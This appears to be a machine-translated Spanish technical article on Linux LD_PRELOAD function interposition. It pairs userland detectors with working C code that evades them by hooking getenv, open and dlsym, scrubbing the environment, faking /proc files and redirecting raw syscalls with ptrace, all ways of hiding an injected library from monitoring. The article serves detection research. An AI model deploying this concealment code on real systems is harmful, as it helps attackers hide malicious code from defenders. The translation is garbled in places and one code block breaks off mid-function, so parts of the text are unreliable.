Esta nota fue escrita en 2014, pero acabo de estar bajo represión en el centro y ella no vio la luz. Durante la prohibición, lo olvidé, pero ahora lo encontré en borradores. Pensé que era para eliminar, pero tal vez alguien sea útil.

En general, un pequeño administrador de viernes leyó sobre el tema de búsqueda del
LD_PRELOAD "incluido".
1. Una pequeña digresión para aquellos que no están familiarizados con la sustitución de funciones.
El resto puede ir directamente al
paso 2 .
Comencemos con el ejemplo clásico:
#include <stdio.h> #include <stdlib.h> #include <time.h> int main() { srand (time(NULL)); for(int i=0; i<5; i++){ printf ("%d\n", rand()%100); } }
Compilar sin banderas:
$ gcc ./ld_rand.c -o ld_rand
Y, como se esperaba, obtenemos 5 números aleatorios de menos de 100:
$ ./ld_rand 53 93 48 57 20
Pero supongamos que no tenemos el código fuente del programa y necesitamos cambiar el comportamiento.
Creemos nuestra propia biblioteca con nuestro propio prototipo de función, por ejemplo:
int rand(){ return 42; }
$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so
Y ahora nuestra elección aleatoria es bastante predecible:
# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand 42 42 42 42 42
Este truco se ve aún más impresionante si primero exportamos nuestra biblioteca a través de
$ export LD_PRELOAD=$PWD/ld_rand.so
o pre-ejecutar
# echo "$PWD/ld_rand.so" > /etc/ld.so.preload
y luego ejecuta el programa en modo normal. No hemos cambiado una sola línea en el código del programa en sí, pero su comportamiento ahora depende de una pequeña función en nuestra biblioteca. Además, al momento de escribir, el
rand falso ni siquiera existía.
¿Qué hizo que nuestro programa usara
rand falso? Veamos los pasos.
Cuando se inicia la aplicación, se cargan ciertas bibliotecas que contienen las funciones necesarias para el programa. Podemos verlos usando
ldd :
# ldd ./ld_rand linux-vdso.so.1 (0x00007ffc8b1f3000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000) /lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)
Esta lista puede variar según la versión del sistema operativo, pero debe haber un archivo
libc.so allí . Es esta biblioteca la que proporciona llamadas al sistema y funciones básicas, como
open ,
malloc ,
printf , etc. Nuestro
rand también
es uno de ellos. Asegúrate de esto:
# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$" 000000000003aef0 T rand
Veamos si el conjunto de bibliotecas cambiará al usar
LD_PRELOAD # LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand linux-vdso.so.1 (0x00007ffea52ae000) /scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000) /lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)
Resulta que la variable establecida
LD_PRELOAD obliga a nuestro
ld_rand.so a cargarse, aunque el programa en sí no lo requiera. Y, dado que nuestra función
rand se carga antes que
rand desde
libc.so , entonces gobierna la pelota.
Ok, logramos reemplazar la función nativa, pero cómo asegurarnos de que su funcionalidad se mantenga y se agreguen algunas acciones. Modificamos nuestro azar:
#define _GNU_SOURCE #include <dlfcn.h> #include <stdio.h> typedef int (*orig_rand_f_type)(void); int rand() { /* */ printf("Evil injected code\n"); orig_rand_f_type orig_rand; orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand"); return orig_rand(); }
Aquí, como nuestro "aditivo", solo imprimimos una línea de texto y luego creamos un puntero a la función
rand original. Para obtener la dirección de esta función, necesitamos
dlsym ; esta es una función de la biblioteca
libdl que encontrará nuestro
rand en la pila de bibliotecas dinámicas. Después de lo cual llamaremos a esta función y devolveremos su valor. En consecuencia, tendremos que agregar
"-ldl" al construir:
$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so
$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand Evil injected code 66 Evil injected code 28 Evil injected code 93 Evil injected code 93 Evil injected code 95
Y nuestro programa utiliza el
rand "nativo", después de realizar algunas acciones indecentes.
2. Búsqueda de harina
Al conocer la amenaza potencial, queremos descubrir que la
precarga se ha ejecutado. Está claro que la mejor manera de detectarlo es introducirlo en el kernel, pero estaba interesado en las definiciones exactas en el espacio del usuario.
A continuación, las soluciones para la detección y su refutación irán en pares.
2.1. Comencemos con un simple
Como se mencionó anteriormente, puede especificar la biblioteca que se cargará utilizando la variable
LD_PRELOAD o escribiéndola en el archivo
/etc/ld.so.preload . Creemos dos detectores más simples.
El primero es verificar la variable de entorno establecida:
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> int main() { char* pGetenv = getenv("LD_PRELOAD"); pGetenv != NULL ? printf("LD_PRELOAD (getenv) [+]\n"): printf("LD_PRELOAD (getenv) [-]\n"); }
El segundo es verificar la apertura del archivo:
#include <stdio.h> #include <fcntl.h> int main() { open("/etc/ld.so.preload", O_RDONLY) != -1 ? printf("LD_PRELOAD (open) [+]\n"): printf("LD_PRELOAD (open) [-]\n"); }
Cargar bibliotecas:
$ export LD_PRELOAD=$PWD/ld_rand.so $ echo "$PWD/ld_rand.so" > /etc/ld.so.preload $ ./detect_base_getenv LD_PRELOAD (getenv) [+] $ ./detect_base_open LD_PRELOAD (open) [+]
De aquí en adelante, [+] indica detección exitosa.
En consecuencia, [-] significa detección de derivación.
¿Qué tan efectivo es tal detector? Primero, echemos un vistazo a la variable de entorno:
#define _GNU_SOURCE #include <stdio.h> #include <string.h> #include <dlfcn.h> char* (*orig_getenv)(const char *) = NULL; char* getenv(const char *name) { if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv"); if(strcmp(name, "LD_PRELOAD") == 0) return NULL; return orig_getenv(name); }
$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so $ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv LD_PRELOAD (getenv) [-]
Del mismo modo, nos deshacemos del cheque
abierto :
#define _GNU_SOURCE #include <string.h> #include <stdlib.h> #include <dlfcn.h> #include <errno.h> int (*orig_open)(const char*, int oflag) = NULL; int open(const char *path, int oflag, ...) { char real_path[256]; if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open"); realpath(path, real_path); if(strcmp(real_path, "/etc/ld.so.preload") == 0){ errno = ENOENT; return -1; } return orig_open(path, oflag); }
$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so $ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open LD_PRELOAD (open) [-]
Sí, aquí se pueden usar otros métodos de acceso al archivo, como
open64 ,
stat , etc., pero, de hecho, se necesitan las mismas 5-10 líneas de código para engañarlos.
2.2. Seguir adelante
Arriba usamos
getenv () para obtener el valor de
LD_PRELOAD , pero también hay una forma más "de bajo nivel" para llegar a las variables
ENV . No utilizaremos funciones intermedias, sino que nos referiremos a la matriz
** Environ , en la que se almacena una copia del entorno:
#include <stdio.h> #include <string.h> extern char **environ; int main(int argc, char **argv) { int i; char env[] = "LD_PRELOAD"; if (environ != NULL) for (i = 0; environ[i] != NULL; i++) { char * pch; pch = strstr(environ[i],env); if(pch != NULL) { printf("LD_PRELOAD (**environ) [+]\n"); return 0; } } printf("LD_PRELOAD (**environ) [-]\n"); return 0; }
Como aquí leemos datos directamente de la memoria, dicha llamada no puede ser interceptada, y nuestro
undetect_getenv ya no interfiere con la determinación de la intrusión.
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ LD_PRELOAD (**environ) [+]
Parece que el problema ha sido resuelto? Todavía estoy empezando.
Después de que se inicia el programa, el valor de la variable
LD_PRELOAD en la memoria ya no es necesario para los crackers, es decir, puede leerlo y eliminarlo antes de que se ejecuten las instrucciones. Por supuesto, editar una matriz en la memoria es al menos un mal estilo de programación, pero ¿puede esto realmente detener a alguien que realmente no nos desea bien?
Para hacer esto, necesitamos crear nuestra propia función falsa
init () , en la cual interceptamos el
LD_PRELOAD instalado y lo pasamos a nuestro enlazador:
#define _GNU_SOURCE #include <stdio.h> #include <string.h> #include <unistd.h> #include <dlfcn.h> #include <stdlib.h> extern char **environ; char *evil_env; int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL; // init // // - void evil_init() { // LD_PRELOAD static const char *ldpreload = "LD_PRELOAD"; int len = strlen(getenv(ldpreload)); evil_env = (char*) malloc(len+1); strcpy(evil_env, getenv(ldpreload)); int i; char env[] = "LD_PRELOAD"; if (environ != NULL) for (i = 0; environ[i] != NULL; i++) { char * pch; pch = strstr(environ[i],env); if(pch != NULL) { // LD_PRELOAD unsetenv(env); break; } } } int execve(const char *path, char *const argv[], char *const envp[]) { int i = 0, j = 0, k = -1, ret = 0; char** new_env; if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve"); // LD_PRELOAD for(i = 0; envp[i]; i++){ if(strstr(envp[i], "LD_PRELOAD")) k = i; } // LD_PRELOAD , if(k == -1){ k = i; i++; } // new_env = (char**) malloc((i+1)*sizeof(char*)); // , LD_PRELOAD for(j = 0; j < i; j++) { // LD_PRELOAD if(j == k) { new_env[j] = (char*) malloc(256); strcpy(new_env[j], "LD_PRELOAD="); strcat(new_env[j], evil_env); } else new_env[j] = (char*) envp[j]; } new_env[i] = NULL; ret = orig_execve(path, argv, new_env); free(new_env[k]); free(new_env); return ret; }
Realizamos, verificamos:
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ.c -o ./ld_undetect_environ.so $ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ LD_PRELOAD (**environ) [-]
2.3. / proc / self /
Sin embargo, la memoria no es el último lugar donde puede detectar la suplantación de
LD_PRELOAD , también hay
/ proc / . Comencemos con lo obvio
/ proc / {PID} / environmental .
En realidad, existe una solución universal para
undetect ** environment y
/ proc / self / environmental . El problema es el comportamiento "incorrecto" de
unsetenv (env) .
opción correcta void evil_init() {
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so $ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr "\000" "\n" | grep -F LD_PRELOAD $
Pero supongamos que no lo encontramos y
/ proc / self / environmental contiene datos "problemáticos".
Primero, intente con nuestro "disfraz" anterior:
$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr "\000" "\n" | grep -F LD_PRELOAD LD_PRELOAD=./ld_undetect_environ.so
cat usa el mismo
open () para abrir el archivo, por lo que la solución es similar a la que ya se hizo en la sección 2.1, pero ahora creamos un archivo temporal donde copiamos los valores de memoria verdaderos sin líneas que contengan
LD_PRELOAD .
#define _GNU_SOURCE #include <dlfcn.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #include <sys/stat.h> #include <unistd.h> #include <limits.h> #include <errno.h> #define BUFFER_SIZE 256 int (*orig_open)(const char*, int oflag) = NULL; char *soname = "fakememory_preload.so"; char *sstrstr(char *str, const char *sub) { int i, found; char *ptr; found = 0; for(ptr = str; *ptr != '\0'; ptr++) { found = 1; for(i = 0; found == 1 && sub[i] != '\0'; i++){ if(sub[i] != ptr[i]) found = 0; } if(found == 1) break; } if(found == 0) return NULL; return ptr + i; } void fakeMaps(char *original_path, char *fake_path, char *pattern) { int fd; char buffer[BUFFER_SIZE]; int bytes = -1; int wbytes = -1; int k = 0; pid_t pid = getpid(); int fh; if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) { printf("LD: Cannot open write-file [%s] (%d) (%s)\n", fake_path, errno, strerror(errno)); exit (42); } if((fd=orig_open(original_path, O_RDONLY))==-1) { printf("LD: Cannot open read-file.\n"); exit(42); } do { char t = 0; bytes = read(fd, &t, 1); buffer[k++] = t; //printf("%c", t); if(t == '\0') { //printf("\n"); if(!sstrstr(buffer, "LD_PRELOAD")) { if((wbytes = write(fh,buffer,k))==-1) { //printf("write error\n"); } else { //printf("writed %d\n", wbytes); } } k = 0; } } while(bytes != 0); close(fd); close(fh); } int open(const char *path, int oflag, ...) { char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX]; pid_t pid = getpid(); if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open"); realpath(path, real_path); snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid); if(strcmp(real_path, proc_path) == 0) { snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid); realpath(proc_path_0, proc_path); fakeMaps(real_path, proc_path, soname); return orig_open(proc_path, oflag); } return orig_open(path, oflag); }
Y esta etapa se ha completado:
$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr "\000" "\n" | grep -F LD_PRELOAD $
El siguiente lugar obvio es
/ proc / self / maps . No tiene sentido detenerse en ello. La solución es absolutamente idéntica a la anterior: copie los datos del archivo menos las líneas entre
libc.so y
ld.so.2.4. Opción desde Chokepoint
Me gustó especialmente esta solución debido a su simplicidad. Compare las direcciones de las funciones cargadas directamente desde
libc y la dirección "NEXT".
#define _GNU_SOURCE #include <stdio.h> #include <dlfcn.h> #define LIBC "/lib/x86_64-linux-gnu/libc.so.6" int main(int argc, char *argv[]) { void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly char *syscall_open = "open"; int i; void *(*libc_func)(); void *(*next_func)(); libc_func = dlsym(libc, syscall_open); next_func = dlsym(RTLD_NEXT, syscall_open); if (libc_func != next_func) { printf("LD_PRELOAD (syscall - %s) [+]\n", syscall_open); printf("Libc address: %p\n", libc_func); printf("Next address: %p\n", next_func); } else { printf("LD_PRELOAD (syscall - %s) [-]\n", syscall_open); } return 0; }
Cargamos la biblioteca con la intercepción
"open ()" y verificamos:
$ export LD_PRELOAD=$PWD/ld_undetect_open.so $ ./detect_chokepoint LD_PRELOAD (syscall - open) [+] Libc address: 0x7fa86893b160 Next address: 0x7fa868a26135
La refutación resultó ser aún más simple:
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <dlfcn.h> extern void * _dl_sym (void *, const char *, void *); void * dlsym (void * handle, const char * symbol) { return _dl_sym (handle, symbol, dlsym); }
# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint LD_PRELOAD (syscall - open) [-]
2.5. Llamadas al sistema
Parece que eso es todo, pero aún así se tambalea. Si dirigimos una llamada del sistema directamente al núcleo, esto evitará todo el proceso de intercepción. La solución a continuación es, por supuesto,
dependiente de la arquitectura (
x86_64 ). Intentemos implementar
ld.so.preload para detectar la apertura.
#include <stdio.h> #include <sys/stat.h> #include <fcntl.h> #define BUFFER_SIZE 256 int syscall_open(char *path, long oflag) { int fd = -1; __asm__ ( "mov $2, %%rax;" // Open syscall number "mov %1, %%rdi;" // Address of our string "mov %2, %%rsi;" // Open mode "mov $0, %%rdx;" // No create mode "syscall;" // Straight to ring0 "mov %%eax, %0;" // Returned file descriptor :"=r" (fd) :"m" (path), "m" (oflag) :"rax", "rdi", "rsi", "rdx" ); return fd; } int main() { syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ? printf("LD_PRELOAD (open syscall) [+]\n"): printf("LD_PRELOAD (open syscall) [-]\n"); }
$ ./detect_syscall LD_PRELOAD (open syscall) [+]
Y este problema tiene una solución. Extracto del
hombre :
ptrace es una herramienta que permite que un proceso padre observe y controle el flujo de otro proceso, vea y cambie sus datos y registros. Normalmente, esta función se usa para crear puntos de interrupción en un programa de depuración y rastrear llamadas del sistema.
El proceso padre puede comenzar a rastrear primero llamando a la función fork (2), y luego el proceso hijo resultante puede ejecutar PTRACE_TRACEME, seguido de (generalmente) la ejecución de exec (3). Por otro lado, el proceso padre puede comenzar a depurar el proceso existente usando PTRACE_ATTACH.
Al rastrear, el proceso secundario se detiene cada vez que se recibe una señal, incluso si se ignora esta señal. (La excepción es SIGKILL, que funciona de la manera habitual). El proceso principal será notificado cuando se llame a wait (2), después de lo cual podrá ver y modificar el contenido del proceso secundario antes de que comience. Después de eso, el proceso de los padres permite que el niño continúe trabajando, en algunos casos ignorando la señal que se le envió o enviando otra señal).
Por lo tanto, la solución es rastrear el proceso, detenerlo antes de cada llamada al sistema y, si es necesario, redirigir el hilo a la función trap.
#define _GNU_SOURCE #include <fcntl.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <limits.h> #include <sys/ptrace.h> #include <sys/wait.h> #include <sys/reg.h> #include <sys/user.h> #include <asm/unistd.h> #if defined(__x86_64__) #define REG_SYSCALL ORIG_RAX #define REG_SP rsp #define REG_IP rip #endif long NOHOOK = 0; long evil_open(const char *path, long oflag, long cflag) { char real_path[PATH_MAX], maps_path[PATH_MAX]; long ret; pid_t pid; pid = getpid(); realpath(path, real_path); if(strcmp(real_path, "/etc/ld.so.preload") == 0) { errno = ENOENT; ret = -1; } else { NOHOOK = 1; // Entering NOHOOK section ret = open(path, oflag, cflag); } // Exiting NOHOOK section NOHOOK = 0; return ret; } void init() { pid_t program; // program = fork(); if(program != 0) { int status; long syscall_nr; struct user_regs_struct regs; // if(ptrace(PTRACE_ATTACH, program) != 0) { printf("Failed to attach to the program.\n"); exit(1); } waitpid(program, &status, 0); // SYSCALLs ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD); while(1) { ptrace(PTRACE_SYSCALL, program, 0, 0); waitpid(program, &status, 0); if(WIFEXITED(status) || WIFSIGNALED(status)) break; else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) { // syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL); if(syscall_nr == __NR_open) { // NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK); // if(!NOHOOK) { // // regs ptrace(PTRACE_GETREGS, program, 0, ®s); // Push return address on the stack regs.REG_SP -= sizeof(long); // ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP); // RIP evil_open regs.REG_IP = (unsigned long) evil_open; // ptrace(PTRACE_SETREGS, program, 0, ®s); } } ptrace(PTRACE_SYSCALL, program, 0, 0); waitpid(program, &status, 0); } } exit(0); } else { sleep(0); } }
Comprobamos:
$ ./detect_syscall LD_PRELOAD (open syscall) [+] $ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall LD_PRELOAD (open syscall) [-]
+ 0-0 = 5Muchas gracias
Charles HubainPunto de estrangulamientoValdikssPhilippe teuwenderhasscuyos artículos, códigos fuente y comentarios hicieron mucho más que yo para hacer que este artículo aparezca aquí.